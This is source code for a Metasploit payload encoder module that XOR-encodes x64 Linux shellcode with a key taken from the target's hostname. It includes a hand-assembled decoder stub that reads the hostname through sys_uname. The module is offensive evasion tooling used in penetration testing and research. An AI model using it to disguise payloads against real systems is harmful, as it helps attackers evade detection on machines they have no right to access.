##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Encoder::Xor

  def initialize
    super(
      'Name' => 'Hostname-based Context Keyed Payload Encoder',
      'Description' => 'Context-Keyed Payload Encoder based on hostname and x64 XOR encoder.',
      'Author' => [
        'sf',
        'oso'
      ],
      'Arch' => ARCH_X64,
      'License' => MSF_LICENSE,
      'Platform' => 'linux',
      'Decoder' => {
        'KeySize' => 8,
        'KeyPack' => 'Q',
        'BlockSize' => 8
      }
      )

    register_options([ OptString.new('C_HOSTNAME', [ true, 'Context Hostname.', 'hostname'])])
  end

  def obtain_key(_buf, _badchars, state)
    # TODO: Currently only first 8 chars are taken as key. We should include the other chars in the key.
    state.key = datastore['C_HOSTNAME'][0..8].reverse!.unpack('H*')[0].to_i(16)
  end

  def decoder_stub(state)
    # calculate the (negative) block count . We should check this against state.badchars.
    block_count = [-(((state.buf.length - 1) / state.decoder_key_size) + 1)].pack('V')

    decoder = '' +
              # get hostname
              "\x6a\x3f\x58" +                  # push 0x3f; pop rax
              "\x48\x8D\x3C\x24" +              # lea rdi, [rsp]
              "\x0F\x05" +                      # syscall ; LINUX - sys_uname
              "\x48\x8B\x5F\x41" +              # movq rbx, [rdi+0x41]; hostname

              # loop
              "\x48\x31\xC9" +                  # xor rcx, rcx
              "\x48\x81\xE9" + block_count +    # sub ecx, block_count
              "\x48\x8D\x05\xEF\xFF\xFF\xFF" +  # lea rax, [rip - 0x01]
              "\x48\x31\x58\x1d" +              # xor [rax+0x1d], rbx
              "\x48\x2D\xF8\xFF\xFF\xFF" +      # sub rax, -8
              "\xE2\xF4"                        # loop 0x1B
    return decoder
  end
end
